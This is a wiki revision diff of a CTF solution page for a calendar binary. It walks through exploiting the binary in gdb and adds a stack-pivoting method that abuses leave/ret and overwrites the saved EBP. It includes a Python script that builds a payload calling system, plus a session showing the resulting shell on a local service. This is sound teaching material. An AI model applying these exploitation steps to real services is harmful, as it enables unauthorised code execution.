This shows you the differences between two versions of the page.
Both sides previous revision Previous revision Next revision | Previous revision | ||
session:solution:mid-ctf_tasks2_4 [2014/07/11 13:08] rcaragea |
session:solution:mid-ctf_tasks2_4 [2020/07/19 12:49] (current) |
||
---|---|---|---|
Line 10: | Line 10: | ||
<code bash> | <code bash> | ||
- | # gdb ./hibercal | + | $ gdb ./hibercal |
gdb-peda$ pdis hibercal | gdb-peda$ pdis hibercal | ||
Dump of assembler code for function hibercal: | Dump of assembler code for function hibercal: | ||
Line 137: | Line 137: | ||
Let's try it. | Let's try it. | ||
<code bash> | <code bash> | ||
- | # | + | $ gdb ./ |
gdb-peda$ p system | gdb-peda$ p system | ||
$1 = {<text variable, no debug info>} 0x80486f0 < | $1 = {<text variable, no debug info>} 0x80486f0 < | ||
gdb-peda$ quit | gdb-peda$ quit | ||
- | # python | + | $ python |
>>> | >>> | ||
134514416 | 134514416 | ||
- | # nc 127.0.0.1 4242 | + | $ nc 127.0.0.1 4242 |
Enter your name: | Enter your name: | ||
Line 365: | Line 365: | ||
<code bash> | <code bash> | ||
- | # nc 127.0.0.1 4242 | + | $ nc 127.0.0.1 4242 |
Enter your name: | Enter your name: | ||
Line 374: | Line 374: | ||
What do you want to write? | What do you want to write? | ||
1 | 1 | ||
- | # dmesg|tail -1 | + | $ dmesg|tail -1 |
ubercal[23403]: | ubercal[23403]: | ||
</ | </ | ||
Line 384: | Line 384: | ||
<code bash> | <code bash> | ||
- | # nc 127.0.0.1 4242 | + | $ nc 127.0.0.1 4242 |
Enter your name: | Enter your name: | ||
Line 398: | Line 398: | ||
Works as expected! | Works as expected! | ||
+ | |||
+ | ==== Solving using Paul's idea (stack pivoting) ==== | ||
+ | During the CTF Paul mentioned that he sees the solution as corrupting the stack frame so that when the function returns you get more " | ||
+ | It's a much more difficult solution but doable. Let's try it. | ||
+ | |||
+ | The whole idea is to use the **leave** and **ret** set of instructions to do some magic. | ||
+ | **leave** esentially does | ||
+ | <code asm> | ||
+ | mov esp, ebp | ||
+ | pop ebp | ||
+ | </ | ||
+ | |||
+ | So the top of the stack now points to the saved ebp and ebp is restored from this new top of the stack. | ||
+ | Remember that we can overwrite the return address. But we can also overwrite the saved ebp just as well. | ||
+ | |||
+ | If we replace ebp with 0x41424344 only the ebp will change. Remember that we would like a primitive that does **mov esp, ARBITRARY**. | ||
+ | Luckily, immediately after **leave** and **ret** the next set of instructions is another **leave** and **ret**. | ||
+ | |||
+ | So the context is the following: | ||
+ | < | ||
+ | Initially: | ||
+ | After leave part1 (mov esp, ebp): ESP = current_ebp | ||
+ | After leave part2 (pop ebp): ESP = current_ebp + 4 EBP = saved_ebp = our_input | ||
+ | |||
+ | After return: | ||
+ | |||
+ | |||
+ | After leave part1 (mov esp, ebp): ESP = our_input, | ||
+ | After leave part2 (pop ebp): ESP = our_input + 4 EBP= first 4 bytes at the address " | ||
+ | |||
+ | After return: | ||
+ | </ | ||
+ | |||
+ | We can control EIP with bytes 4:7 and the stack as well. | ||
+ | We can reuse the instruction at 0x080488d1: | ||
+ | <code asm> | ||
+ | | ||
+ | | ||
+ | </ | ||
+ | We see the call to **system** expects the parameter to be right on the top of the stack. | ||
+ | Our payload should now be like this: | ||
+ | < | ||
+ | 00: value of our_input | ||
+ | 04: 0x080488d1 (call to system) | ||
+ | 08: address that holds the command given to system | ||
+ | 0c: ???? | ||
+ | </ | ||
+ | |||
+ | Since the only buffer we control is the name we want the following: | ||
+ | < | ||
+ | name+00 : address of name | ||
+ | name+04 : 0x080488d1 (call to system) | ||
+ | name+08 : address of name+0c | ||
+ | name+0c : the actual command | ||
+ | </ | ||
+ | |||
+ | All we need now is to find out the address of the **name** buffer. We have the following snippets: | ||
+ | |||
+ | <code asm> | ||
+ | | ||
+ | | ||
+ | | ||
+ | |||
+ | |||
+ | |||
+ | | ||
+ | | ||
+ | | ||
+ | </ | ||
+ | So | ||
+ | < | ||
+ | |||
+ | name = ebp - 0xb0 | ||
+ | calendar = ebp - 0x4c | ||
+ | |||
+ | |||
+ | name - calendar = - 0xb0 + 0x4c = -100 | ||
+ | |||
+ | name = calendar - 100 | ||
+ | </ | ||
+ | But we already know the address of **calendar** from before. It's X from the previous solution using dmesg. | ||
+ | |||
+ | The only thing that remains is to pass the value of ebp correctly. Since **allowed_day** is declared as a signed integer we need to convert it. | ||
+ | |||
+ | The full python script is: | ||
+ | <code python> | ||
+ | # | ||
+ | import struct,sys; | ||
+ | |||
+ | |||
+ | segv_addr = 0xbff9dc5c | ||
+ | calendar_addr = segv_addr + 100000 * 4 | ||
+ | buffer_addr = calendar_addr - 100 | ||
+ | |||
+ | |||
+ | |||
+ | val = struct.unpack("< | ||
+ | |||
+ | sys.stderr.write(" | ||
+ | |||
+ | |||
+ | |||
+ | payload = struct.pack('< | ||
+ | payload += struct.pack('< | ||
+ | payload += struct.pack('< | ||
+ | payload += "/ | ||
+ | |||
+ | print payload | ||
+ | |||
+ | </ | ||
+ | |||
+ | And now we try it: | ||
+ | <code bash> | ||
+ | $ cat <(python gen_input.py) - | nc 127.0.0.1 4242 | ||
+ | Enter your name: | ||
+ | |||
+ | Use 19 and -1073746712 as input | ||
+ | You are allowed to write an entry in the 16-day hibernation calendar. What will it be? Make it a good one! | ||
+ | Which day? | ||
+ | 19 | ||
+ | What do you want to write? | ||
+ | -1073746712 | ||
+ | Goodbye | ||
+ | èìÿ¿ôìÿ¿/ | ||
+ | date | ||
+ | Fri Jul 11 13:50:37 EEST 2014 | ||
+ | ls | ||
+ | Makefile | ||
+ | README | ||
+ | ubercal | ||
+ | ubercal.c | ||
+ | |||
+ | </ | ||
+ | |||
+ |